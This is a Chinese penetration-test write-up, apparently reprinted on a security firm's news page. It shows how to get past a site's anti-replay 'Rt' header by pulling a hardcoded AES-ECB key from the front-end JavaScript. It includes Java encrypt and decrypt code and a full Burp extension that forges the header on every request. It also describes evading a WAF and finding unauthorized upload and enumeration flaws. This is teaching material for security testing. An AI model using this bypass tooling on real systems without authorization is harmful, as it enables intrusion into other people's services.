新闻资讯banner

新闻资讯

为您提供高效优质的热点资讯

首页 / 新闻资讯 / 技术文章 / 有手就会?记一次绕过防重放的漏洞挖掘

有手就会?记一次绕过防重放的漏洞挖掘

发布时间:2024-04-08 发布人:玄影实验室 阅读:6591 来源:公众号【权说安全】

本文以实战角度出发,介绍面对这种防重放的情况下的攻防技巧。

0X01前言

随着当前攻防水平的不断提高,实战攻防过程中,经常能遇到前端的参数被各种各样的方式加密的情况。毫无疑问,这种方式能够防止很多脚本小子的脚步,但是很多网站就存在“金玉其外,败絮其内“的情况,将传递的参数加密了事,忽略很多系统本身存在的安全风险。本文以实战角度出发,介绍面对这种前端加密或者防重放的情况下的攻防技巧。


0x02背景

某次渗透测试项目,笔者经过测试发现该网站部分关键数据包使用JS加密,并且请求包还添加相关参数用来防止重放数据包的情况,这种机制可以阻挡很多非必要的攻击。但是对渗透测试人员来说,这种技能也是应该具备的。


0x03 收集信息

拿到项目后,首先针对目标进行访问,如下图所示:

1712542608395049393.png

 

随便拼接一下攻击姿势,发现存在某云WAF情况。一般遇到这种情况思路转变为,以逻辑漏洞为主,授权漏洞为辅,结合信息泄露等漏洞结束本次项目。接下来就要考虑如何信息收集,针对这种网站,单纯的目录扫描已经不适合,我的思路有两个,一个是通过前端JS进行收集,另外针对接口进行FUZZ。

 

打开JS文件,一发入魂,上来就把所有接口给我了,这合理吗?这才是日常,挺合理的:

 

1712542742630052127.png

 

直接上工具,对JS文件进行一番搜索,考虑到WAF存在,笔者悄悄地进村,线程调到1,开始进攻!结果大概如下图所示:

1712542764175095699.png

 

 

总结一下,笔者现在有了,所有功能的URL路径,所有的接口路径,加上笔者收集的JS信息,万事俱备!

0x04 绕过防重放字段

结合笔者已有的信息,接下来开始正式测试:首先尝试登录功能点测试:

图片 4.png

 

登录框测试的思路已经烂熟于心,看我手到擒来。利用BURP代理抓包,讲究一个稳准。

再重放一下数据包,突然发现重放数据包会提示410,

图片 5.png

 

笔者测试过程中还比较好奇,怎么会这么自信把所有URL明文在前端展示呢,这里还是有防护的:

POST /api/sms/sendsms HTTP/2

Host: xxx

Content-Length: 73

Sec-Ch-Ua: "Chromium";v="113", "Not-A.Brand";v="24"

Sec-Ch-Ua-Mobile: ?0

Authorization: Bearer null

Rt: /5asJSe+gKXuuIdOsOg6kw==

Content-Type: application/json

Accept: application/json, text/javascript, */*; q=0.01

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36

Api-Version: 1.0

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

 

{"phone":"1888888881","smsTypes":2,"uniqueId":"1684756825417","code":""}


 

通过对Header头进行分析,发现其中RT参数正是其中关键字段,主要用来防止数据包重放,现在就需要看看这个RT参数从何而来。经过对JS代码的分析,发现了如下代码:

 

var aeskey2 = '1122334455667788';

xxxxx

function encryptRt(data) {

    var key = CryptoJS.enc.Utf8.parse(aeskey2);

    // 加密

    var encryptedData = CryptoJS.AES.encrypt(data, key, {

        mode: CryptoJS.mode.ECB,

        padding: CryptoJS.pad.Pkcs7

    });

    return encryptedData + '';

}

xxx

经过对该代码的分析,发现Rt参数正是通过aes方式进行加密,并且获得其中的key和加密逻辑。

接下来各显神通,笔者使用java撸了一份解密代码:

import org.bouncycastle.jce.provider.BouncyCastleProvider;

 

import javax.crypto.Cipher;

import javax.crypto.spec.IvParameterSpec;

import javax.crypto.spec.SecretKeySpec;

import java.security.Security;

import java.util.Base64;

 

public class AESUtils {

    static {

        Security.addProvider(new BouncyCastleProvider());

    }

 

    public static String decryptData(String data, String key) throws Exception {

        byte[] keyBytes = key.getBytes("UTF-8");

        SecretKeySpec keySpec = new SecretKeySpec(keyBytes, "AES");

        Cipher cipher = Cipher.getInstance("AES/ECB/PKCS7Padding");

        cipher.init(Cipher.DECRYPT_MODE, keySpec);

        byte[] decrypted = cipher.doFinal(Base64.getDecoder().decode(data));

        return new String(decrypted, "UTF-8");

    }

 

    public static void main(String[] args) throws Exception {

 

        

 

        String aesKey = "1122334455667788";

        String data = "/5asJSe+gKXuuIdOsOg6kw==";

        String decryptData = decryptData(data, aesKey);

        System.out.println(decryptData);

 

1712542846783092490.png

 

通过对Rt头参数进行解密,发现其参数是时间戳,那么现在笔者就知道这套逻辑,通过Rt参数对当前数据包进行防重放校验,笔者完善一下完整加解密代码:

import org.bouncycastle.jce.provider.BouncyCastleProvider;

 

import javax.crypto.Cipher;

import javax.crypto.spec.IvParameterSpec;

import javax.crypto.spec.SecretKeySpec;

import java.security.Security;

import java.util.Base64;

 

public class AESUtils {

    static {

        Security.addProvider(new BouncyCastleProvider());

    }

    public static String encryptData(String data, String key) throws Exception {

        byte[] keyBytes = key.getBytes("UTF-8");

        SecretKeySpec keySpec = new SecretKeySpec(keyBytes, "AES");

        Cipher cipher = Cipher.getInstance("AES/ECB/PKCS7Padding");

        cipher.init(Cipher.ENCRYPT_MODE, keySpec);

        byte[] encrypted = cipher.doFinal(data.getBytes("UTF-8"));

        return Base64.getEncoder().encodeToString(encrypted);

    }

 

    public static String decryptData(String data, String key) throws Exception {

        byte[] keyBytes = key.getBytes("UTF-8");

        SecretKeySpec keySpec = new SecretKeySpec(keyBytes, "AES");

        Cipher cipher = Cipher.getInstance("AES/ECB/PKCS7Padding");

        cipher.init(Cipher.DECRYPT_MODE, keySpec);

        byte[] decrypted = cipher.doFinal(Base64.getDecoder().decode(data));

        return new String(decrypted, "UTF-8");

    }

进行测试,效果符合预期。

图片 7.png

 

截止到目前笔者已经了解了Rt参数的前世今生,现在考虑如何更方便的开展笔者的渗透工作。

0x05 封装插件,开始渗透

已经知道RT参数的前世今生,现在封装Burp插件,绕过RT校验!

关于如何写Burp插件参考文末文章,这里主要写两个地方:

1, 如何调用BURP接口,替换RT参数

2, 如何调用笔者的加密逻辑。

在BURP插件的开发过程中,目录结构如下,笔者只需要添加一个加密逻辑的java文件,然后再BurpExtender中直接调用即可。

1712542963776097188.png

 

将笔者的加密逻辑命名问ReplaceRT,接着写Burpextender即可。

package burp;

 

 

import java.io.PrintWriter;

import java.util.Arrays;

import java.util.List;

 

 

 

public class BurpExtender implements IBurpExtender, IHttpListener

{

    private IBurpExtenderCallbacks callbacks;

    private IExtensionHelpers helpers;

    private PrintWriter stdout;

    private PrintWriter mStdOut;

 

    // implement IBurpExtender

    @Override

    public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks)

    {

        stdout = new PrintWriter(callbacks.getStdout(), true);

 

        this.callbacks = callbacks;

        helpers = callbacks.getHelpers();

        callbacks.setExtensionName("Rt_replace_Demo");

        callbacks.registerHttpListener(this);

        //this.mStdOut.println("Author: fu11y");

    }

 

    @Override

 

    public void processHttpMessage(int toolFlag,boolean messageIsRequest,IHttpRequestResponse messageInfo)

    {

        try{

            if (toolFlag == 64 || toolFlag == 16 || toolFlag == 32 || toolFlag == 4){

                if (messageIsRequest){

                    IRequestInfo analyzeRequest = helpers.analyzeRequest(messageInfo);

                    String request = new String(messageInfo.getRequest());

                    byte[] body = request.substring(analyzeRequest.getBodyOffset()).getBytes();

                    List

 

                    for(String header : headers){

                        stdout.println("header"+header);

                        if(header.startsWith("Rt")){

                            headers.remove(header);

                            break;

                        }

                    }

 

                    long currentTimestampSeconds = System.currentTimeMillis();

                    String aesKey = "1122334455667788";

                    String data = String.valueOf(currentTimestampSeconds);

                    String Rt = "Rt: "+ReplaceRt.encryptData(data,aesKey);// 替换header中的Rt

 

                    headers.add(Rt);

                    stdout.println(Rt);

                    byte[] new_Request = helpers.buildHttpMessage(headers,body);

                    stdout.println(helpers.analyzeRequest(new_Request).getHeaders());

                    messageInfo.setRequest(new_Request);

                }

            }

        }

        catch(Exception e){

            stdout.println(e);

        }

 

    }

}

打jar包,导入到burp中一气呵成,闲庭信步,那么到现在,笔者就拥有了绕过防重放的burp插件包,效果如下:

图片 9.png

 

已经是可以重放了,结合之前泄露的URL和接口信息,开测!

还记得之前的思路吗?接下来针对之前搜集的JS资产开始一个一个测试:

成果如下:未授权信息枚举,未授权文件上传;

 

 

点到为止,本次收工。

 

0x06总结

如今渗透测试过程中经常能遇到前端加密和防止重放的情况,针对这种,通过JS分析出加密方法,结合具体业务,一般都能拿到比较不错的收获。